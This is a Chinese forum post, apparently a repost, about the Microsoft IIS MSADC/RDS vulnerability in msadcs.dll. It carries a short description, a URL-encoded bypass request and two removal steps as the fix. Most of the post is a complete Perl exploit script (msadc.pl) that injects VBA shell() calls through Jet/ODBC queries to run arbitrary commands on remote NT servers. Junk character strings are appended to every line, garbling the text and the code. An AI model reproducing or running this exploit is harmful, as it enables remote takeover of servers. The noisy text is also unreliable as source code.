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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $dh4T";  
k l!?/M  
涉及程序: $.Q>M]xH  
Microsoft NT server W .`Xm(y  
PN"8 Y  
描述: @>fO;*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 H8$<HhuZM  
\} Acq;  
详细: Bug}^t{M  
如果你没有时间读详细内容的话,就删除: 9#&W!f*qO|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {!}F :~*r  
有关的安全问题就没有了。 /}$T38  
6`qr:.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8VuZ,!WH#  
>bA$SN  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 b-BM"~N'  
关于利用ODBC远程漏洞的描述,请参看: _jTwiuMS-  
~llMrl7  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O}MZ-/z=o~  
~mK-8U4>K,  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %l:|2s:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Du^x=;  
h41$|lonU%  
这里不再论述。 jF2[bzY4  
Zj1ZU[BEcL  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ESD<8 OR  
Jh$"fr3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @A2/@]HBm  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! U=F-] lD  
Q+b.-iWR  
uNe}"hs  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7|QGY7Tf  
QB/7/PW{H\  
#!perl 3w/( /|0  
# +urS5c* j  
# MSADC/RDS 'usage' (aka exploit) script \P l,' 1%  
# ls"b#eFC#  
# by rain.forest.puppy 5S%C~iB  
# 9H h~ nR?  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ImWXzg3@{  
# beta test and find errors! 6z#lN>Y-`  
d7"U WY^  
use Socket; use Getopt::Std; 1C_'H.q<=  
getopts("e:vd:h:XR", \%args); "xvtqi,R  
L1hD}J'$4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; PwW^y#96  
g7xbyB o7  
if (!defined $args{h} && !defined $args{R}) { 908ayfVI  
print qq~ `'p`PyMt`  
Usage: msadc.pl -h <host> { -d <delay> -X -v } !8xKf*y  
-h <host> = host you want to scan (ip or domain) 61/)l0 <;  
-d <seconds> = delay between calls, default 1 second $gVLk.  
-X = dump Index Server path table, if available g1ZV&X=2  
-v = verbose hZAG (Z  
-e = external dictionary file for step 5 s$DGd T)  
~J0,)_b%*  
Or a -R will resume a command session 6Z~Ya\~.g.  
lPY@{1W  
~; exit;} LthGZ|>  
I"ca+4]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; nVxq72o@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} br0u@G  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /61by$E  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~|&="K4,:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q*L ]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } XwcMt r*  
bxAsV/j  
if (!defined $args{R}){ $ret = &has_msadc; i90}Xyt  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6m9 7_NRO  
UqN{JG:#.  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %a5t15 9  
. "cmd /c "; nO~b=qO  
$in=<STDIN>; chomp $in; >;)2NrJV  
$command="cmd /c " . $in ; ;a |`s  
tp Xa*6  
if (defined $args{R}) {&load; exit;} vYDSu.C@a  
2B-.}OJ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +UzXN$73  
&try_btcustmr; *zq.C  
q xfLfgu^  
print "\nStep 2: Trying to make our own DSN..."; "OO96F  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y %K~w  
X~lZOVmS  
print "\nStep 3: Trying known DSNs..."; EYkj@ .,  
&known_dsn; :c y >c2  
IAf$]Fh  
print "\nStep 4: Trying known .mdbs..."; %tV32l=  
&known_mdb; .U9 R> #  
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if (defined $args{e}){ jyi FM5&  
print "\nStep 5: Trying dictionary of DSN names..."; `mzb(b E  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } q +R*Hi  
/HkFlfPd  
print "Sorry Charley...maybe next time?\n"; A:eFd]E{(  
exit; f])M04<  
bpW!iY/q3  
############################################################################## zG#wu   
j$Nf%V 6Y  
sub sendraw { # ripped and modded from whisker r| f-_D  
sleep($delay); # it's a DoS on the server! At least on mine... +3;Ody"59  
my ($pstr)=@_; 03EV%Vc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~^&R#4J  
die("Socket problems\n"); Sh&iQ_vq  
if(connect(S,pack "SnA4x8",2,80,$target)){ RNTa XR+Zn  
select(S); $|=1; O2.' -  
print $pstr; my @in=<S>; 7X}TB\N1  
select(STDOUT); close(S); H<`\bej,  
return @in; }_}KVI  
} else { die("Can't connect...\n"); }} qbiK^g R  
$W&:(&  
############################################################################## R_1qn  
M+poB+K.  
sub make_header { # make the HTTP request q8>t!rh<R  
my $msadc=<<EOT fW(/Loh  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 "_< 9PM1t  
User-Agent: ACTIVEDATA sWHyL(C@  
Host: $ip v vq/  
Content-Length: $clen JJ ?I>S N!  
Connection: Keep-Alive 0C$8g Y*  
6Ps.E  
ADCClientVersion:01.06 r\2vl8X~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 l%~lz[  
83 I-X95  
--!ADM!ROX!YOUR!WORLD! _?`&JF?*  
Content-Type: application/x-varg '\"G{jU@  
Content-Length: $reqlen "AC^ rz~U  
hJ*Ihwn|  
EOT *geN [ [  
; $msadc=~s/\n/\r\n/g; q0&$7GH4  
return $msadc;} m#e*c [*G  
BT,b-= ;J-  
############################################################################## lpgd#vr  
Eectxyr?;N  
sub make_req { # make the RDS request FhkkW W L  
my ($switch, $p1, $p2)=@_; dJ ~Zr)>  
my $req=""; my $t1, $t2, $query, $dsn; 9QwKakci  
l_{8+\`!  
if ($switch==1){ # this is the btcustmr.mdb query ]< XR]FHx)  
$query="Select * from Customers where City=" . make_shell(); g(Yb^'X/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 5~H#(d<oZ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} K j3?ve~  
G2:%g(  
elsif ($switch==2){ # this is general make table query i47j lyH  
$query="create table AZZ (B int, C varchar(10))"; ;H'gT+t<c  
$dsn="$p1";} H8{ol6wc)6  
`P}9i@C  
elsif ($switch==3){ # this is general exploit table query i7*EbaYzUO  
$query="select * from AZZ where C=" . make_shell(); M.q=p[  
$dsn="$p1";} VT%:zf  
F$V/K&&W  
elsif ($switch==4){ # attempt to hork file info from index server ;*2>ES  
$query="select path from scope()"; SaOYu &>  
$dsn="Provider=MSIDXS;";} ~P .I<  
U{@5*4  
elsif ($switch==5){ # bad query 7zemr>sIh  
$query="select"; L| hx arJ  
$dsn="$p1";} Cbm\h/PXl  
=elpH^N  
$t1= make_unicode($query); #,d I$gY  
$t2= make_unicode($dsn); Oz: *LZ  
$req = "\x02\x00\x03\x00"; he(A3{'  
$req.= "\x08\x00" . pack ("S1", length($t1)); a^U~0i@[S  
$req.= "\x00\x00" . $t1 ; u #w29Pm  
$req.= "\x08\x00" . pack ("S1", length($t2)); eWJ`$"z  
$req.= "\x00\x00" . $t2 ; r|u MovnV  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Jl3g{a  
return $req;} A/7{oB:a  
n+;6=1d7ZW  
############################################################################## cy yVg!+  
"VG+1r+]4  
sub make_shell { # this makes the shell() statement BZ!v%4^9  
return "'|shell(\"$command\")|'";} #Lv2Zoi>G  
hrGM|_BE  
############################################################################## -i yyn ^|  
xG&)1sT#-\  
sub make_unicode { # quick little function to convert to unicode jRSUp E8  
my ($in)=@_; my $out; l vMlL5t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } KGH/^!u+R  
return $out;} W\&8au ds  
Qx;\USv  
############################################################################## D=m 'pL/pl  
[I!6PGx  
sub rdo_success { # checks for RDO return success (this is kludge) Sz- J y:j  
my (@in) = @_; my $base=content_start(@in); tg]x0#@s  
if($in[$base]=~/multipart\/mixed/){ 8>,jpAN}r  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  ;s`sn$@  
return 0;} "#[!/\=?:  
.ZvM^GJb  
############################################################################## x8S7oO7  
V-<GT ?  
sub make_dsn { # this makes a DSN for us 1N7Kv4,  
my @drives=("c","d","e","f"); I)A`)5="5  
print "\nMaking DSN: "; \b%kf99  
foreach $drive (@drives) { ;;L[e]Z  
print "$drive: "; Ag{iq(X  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . <Utnz)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" > ;/l)qk,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); GrUCZ<S  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1pArZzm>  
return 0 if $2 eq "404"; # not found/doesn't exist u%w`:v7Yo(  
if($2 eq "200") { {}3${  
foreach $line (@results) { M$Zcn#A  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} yzqVz_Fi*W  
} return 0;} ]IoUwgpI)  
cWoPB _  
############################################################################## `s\?w5[  
N5a*7EJv+  
sub verify_exists { xlhG,bb7  
my ($page)=@_; .zi_[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); zT!drq:x  
return $results[0];} SQX:7YF~  
q WQ/ 'M  
############################################################################## 8C*c{(4  
Y;?{|  
sub try_btcustmr { 9WyAb3d'  
my @drives=("c","d","e","f"); 0u;4%}pD  
my @dirs=("winnt","winnt35","winnt351","win","windows"); a!=D[Gz*5  
19w*!FGX  
foreach $dir (@dirs) { Wf|Q$MHos  
print "$dir -> "; # fun status so you can see progress Tj:B!>>  
foreach $drive (@drives) {  #"@|f  
print "$drive: "; # ditto HMSO=)@+  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; G"h'_7  
$reqlenlen=length( "$reqlen" ); wne,e's}   
$clen= 206 + $reqlenlen + $reqlen; OX\A|$GS  
Lm%:K]X  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kM,C3x{A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %J+E/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <g"{Wv: h  
SLa>7`<Q  
############################################################################## U~:-roQ(\  
4 o Fel.o  
sub odbc_error { Gefne[  
my (@in)=@_; my $base; =vX/{C  
my $base = content_start(@in); 'uBu6G  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this h2G$@8t}I  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aAD^^l#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x(1:s|Uyp{  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OCe!.`  
return $in[$base+4].$in[$base+5].$in[$base+6];} \NPmym_ 6J  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4h|c<-`>t  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F1*>y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 6^]+[q}3  
pM4 :#%V  
############################################################################## 8A##\j )  
l9{hq/V  
sub verbose { CsGx@\jN  
my ($in)=@_; 8\+uec]k  
return if !$verbose; -t!~%_WCv  
print STDOUT "\n$in\n";} Bs^aII$  
zdB^S%cztS  
############################################################################## ag [ZW  
m*&]!mM"0G  
sub save { ]d$8f  
my ($p1, $p2, $p3, $p4)=@_; d,k!qjf=r  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; V?6a 8lJ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; P3x8UR=fS  
close OUT;} wr$("A(  
9ijfRqI=x  
############################################################################## XP!S$Q]D  
Ag-(5:  
sub load { Sc]B#/~B  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; slCx w$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); |jGf<Bf5  
@p=<IN>; close(IN); @LF,O}[2J  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); G#ZH.24Y  
$target= inet_aton($ip) || die("inet_aton problems"); )|ju~qbf  
print "Resuming to $ip ..."; T<n  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; kMIcK4.MH  
if($p[1]==1) { G/)O@Ugp  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; n@<YI  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; D+rxT: d  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); I fK,b*%  
if (rdo_success(@results)){print "Success!\n";} r8`ffH  
else { print "failed\n"; verbose(odbc_error(@results));}} @a! #G  
elsif ($p[1]==3){ xG~P+n7t5$  
if(run_query("$p[3]")){ $0W|26;  
print "Success!\n";} else { print "failed\n"; }} hNC&T`.-~B  
elsif ($p[1]==4){ %z=le7  
if(run_query($drvst . "$p[3]")){ ` 'DmDg  
print "Success!\n"; } else { print "failed\n"; }} 5%Y3 Kwyy  
exit;} .Y tKS  
W: z6Koc0  
############################################################################## !z\h| wU+  
G<L;4nA)  
sub create_table { '{cIAw/"n  
my ($in)=@_; =*oJEy"  
$reqlen=length( make_req(2,$in,"") ) - 28; 2=*H 8'k  
$reqlenlen=length( "$reqlen" ); Yj&F;_~   
$clen= 206 + $reqlenlen + $reqlen; AP3a;4Z#  
my @results=sendraw(make_header() . make_req(2,$in,"")); \[;0 KV_  
return 1 if rdo_success(@results); cn3#R.G~  
my $temp= odbc_error(@results); verbose($temp); Z%gh3  
return 1 if $temp=~/Table 'AZZ' already exists/; `}p0VmD{NE  
return 0;} { a =#B)6  
pIc#L>{E  
############################################################################## z0 d.J1VW  
akmkyrz'&  
sub known_dsn { %Tfbsyf%f  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go H%[eV8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  0HZ{Y9]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", })'B<vq  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); i}cRi&2[  
S;Fi?M  
foreach $dSn (@dsns) { u^&^UxCA  
print "."; ko!)s  
next if (!is_access("DSN=$dSn")); AzPu)  
if(create_table("DSN=$dSn")){ y#`tgJ:  
print "$dSn successful\n"; hqD*z6aH  
if(run_query("DSN=$dSn")){ &j;wCvE4+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |44Ploz2b  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %:i7s-0w  
~$c\JKH-  
############################################################################## \P[Y`LYL  
z[ N`s$;  
sub is_access { xH ]Ct~ md  
my ($in)=@_; 9p]QM)M  
$reqlen=length( make_req(5,$in,"") ) - 28; ldf\;Qk  
$reqlenlen=length( "$reqlen" ); p#-Z4-`  
$clen= 206 + $reqlenlen + $reqlen; td$E/h=3  
my @results=sendraw(make_header() . make_req(5,$in,"")); YqscZ(L:y  
my $temp= odbc_error(@results); _T60;ZI+^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a,,exi  
return 0;} MxKS4k  
e1yt9@k,  
############################################################################## Y/F6\oh  
dRYqr}!%n  
sub run_query { Q3'llOx  
my ($in)=@_; $t+,Tav  
$reqlen=length( make_req(3,$in,"") ) - 28; & l<.X  
$reqlenlen=length( "$reqlen" ); !aUs>1i  
$clen= 206 + $reqlenlen + $reqlen; &$+AXzn  
my @results=sendraw(make_header() . make_req(3,$in,"")); wLIMv3;k  
return 1 if rdo_success(@results); 4Z3su^XR  
my $temp= odbc_error(@results); verbose($temp); 2Ah#<k-gC;  
return 0;} %UrueMEO  
<)Dj9' _J  
############################################################################## w7L{_aom  
Q0sI(V#  
sub known_mdb { f_OQ./`  
my @drives=("c","d","e","f","g"); 8S TvCH"Z_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #\{l"-  
my $dir, $drive, $mdb; z(ONv#}p  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; vO^m;['  
CO/]wS  
# this is sparse, because I don't know of many , >a&"V^k  
my @sysmdbs=( "\\catroot\\icatalog.mdb", h,:m~0gmj  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", RNk\.}m  
"\\system32\\certmdb.mdb", mY|)KJ  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Q-okt RK  
J3V= 46Yc  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", tAd%#:K  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !/b>sN}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", d0!5j  
"\\cfusion\\cfapps\\security\\realm_.mdb", RMV/&85?y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8 /]S^'>  
"\\cfusion\\database\\cfexamples.mdb", XX TL..  
"\\cfusion\\database\\cfsnippets.mdb", a=_g*OK}D  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", dES"@?!^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", { 'eC`04E  
"\\cfusion\\brighttiger\\database\\cleam.mdb", |*xA 8&/  
"\\cfusion\\database\\smpolicy.mdb", n+9=1Oo"  
"\\cfusion\\database\cypress.mdb", NN{?z!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >h9I M$2  
"\\website\\cgi-win\\dbsample.mdb", X,% 0/6*]  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", M] %?>G  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }-{H  Y  
); #these are just \.{$11P#  
foreach $drive (@drives) { t>RY7C;PuS  
foreach $dir (@dirs){ G$"h&Xy1c  
foreach $mdb (@sysmdbs) { &m7]v,&  
print "."; G_8RK,H.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 7aRi5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _.Nbt(mz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ y14;%aQN  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; gs[uD5oo<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} & ywPuTt  
RLXL&  
foreach $drive (@drives) { (,\+tr8r8  
foreach $mdb (@mdbs) { r +i($ jMs  
print "."; NNR`!Pty  
if(create_table($drv . $drive . $dir . $mdb)){ | j`@eF/"  
print "\n" . $drive . $dir . $mdb . " successful\n"; P1 8hxXE3  
if(run_query($drv . $drive . $dir . $mdb)){ x+:UN'"r  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; OZF rtc+  
} else { print "Something's borked. Use verbose next time\n"; }}}} 6'57  
} 8 ^2oWC#U(  
U$.@]F4&  
############################################################################## On:il$MU  
myQagqRx  
sub hork_idx { Sq V},  
print "\nAttempting to dump Index Server tables...\n"; dq6m>;`  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; (`>+zT5aH  
$reqlen=length( make_req(4,"","") ) - 28; xh,qNnGGi  
$reqlenlen=length( "$reqlen" ); 6vo;!V6  
$clen= 206 + $reqlenlen + $reqlen; )[6U^j4  
my @results=sendraw2(make_header() . make_req(4,"","")); ]@c+]{  
if (rdo_success(@results)){ =[{i{x|Qz  
my $max=@results; my $c; my %d; YUD`!C  
for($c=19; $c<$max; $c++){ LgU_LcoM*  
$results[$c]=~s/\x00//g; hbDXo:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {X+3;&@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |bHelD|  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _ QI\  
$d{"$1$2"}="";} HYZ5EV  
foreach $c (keys %d){ print "$c\n"; } $y&E(J  
} else {print "Index server doesn't seem to be installed.\n"; }} +F` S>U  
=l;ewlU  
############################################################################## . B9iLI  
Jb@V}Ul$  
sub dsn_dict { %QGC8Tz  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Qh3YJ=X&  
while(<IN>){ J.b9F:&}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `/XY>T}-  
next if (!is_access("DSN=$dSn")); Xm}/0g&7  
if(create_table("DSN=$dSn")){ gIa+5\qYY  
print "$dSn successful\n";  .-c4wm}  
if(run_query("DSN=$dSn")){ nI-w}NQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kQSy+q  
print "Something's borked. Use verbose next time\n";}}} ,, OW  
print "\n"; close(IN);} u@UMP@"#  
kk@fL  
############################################################################## 61>.vT8P  
vhW2PzHFRi  
sub sendraw2 { # ripped and modded from whisker R6.hA_ih  
sleep($delay); # it's a DoS on the server! At least on mine... O!#g<`r{K  
my ($pstr)=@_; 2B[X,rL.pX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  I<mV+ex  
die("Socket problems\n"); 3g,`.I_  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2j88<Yh]H  
print "Connected. Getting data"; jh%Eq+#S  
open(OUT,">raw.out"); my @in; z6=Z\P+  
select(S); $|=1; print $pstr; gnOt+W8  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =JEv,ZGT3  
close(OUT); select(STDOUT); close(S); return @in; -`kW&I0  
} else { die("Can't connect...\n"); }} ^e_hLX\SW  
eK?MKe  
############################################################################## qZtzO2Mt  
x.!V^HQSN  
sub content_start { # this will take in the server headers {0wIR_dGX  
my (@in)=@_; my $c; ghG**3xr  
for ($c=1;$c<500;$c++) { \5:i;AE  
if($in[$c] =~/^\x0d\x0a/){ N1}sHyVq7  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } DFB@O|JL  
else { return $c+1; }}} '4+ ur`  
return -1;} # it should never get here actually p Z|V 3  
D rUO-  
############################################################################## .\ULbN3Z  
TOB-aAO  
sub funky { x:NY\._  
my (@in)=@_; my $error=odbc_error(@in); \O3m9,a   
if($error=~/ADO could not find the specified provider/){ WdH$JTk1  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {l1.2!  
exit;} #4Rx]zW^%  
if($error=~/A Handler is required/){ np"\19^  
print "\nServer has custom handler filters (they most likely are patched)\n"; +s,=lL  
exit;} |}s*E_/[  
if($error=~/specified Handler has denied Access/){ NqazpB*  
print "\nServer has custom handler filters (they most likely are patched)\n"; u^ +7hkk  
exit;}} bQg:zww  
r;.yz I  
############################################################################## T= y}y  
vAF "n  
sub has_msadc { )Pa'UGY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Fx_z6a  
my $base=content_start(@results); zx"s*:O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); wtQ++l%{G  
return 0;} Olt?~}  
v!-/&}W)1  
######################## wY{-BuXv  
J@HtoTDO3  
KEo ,m  
解决方案: #?aPisV X>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll g#pr yYz  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ONB{_X?  
,B*EVN  
拿出来充数 哈哈
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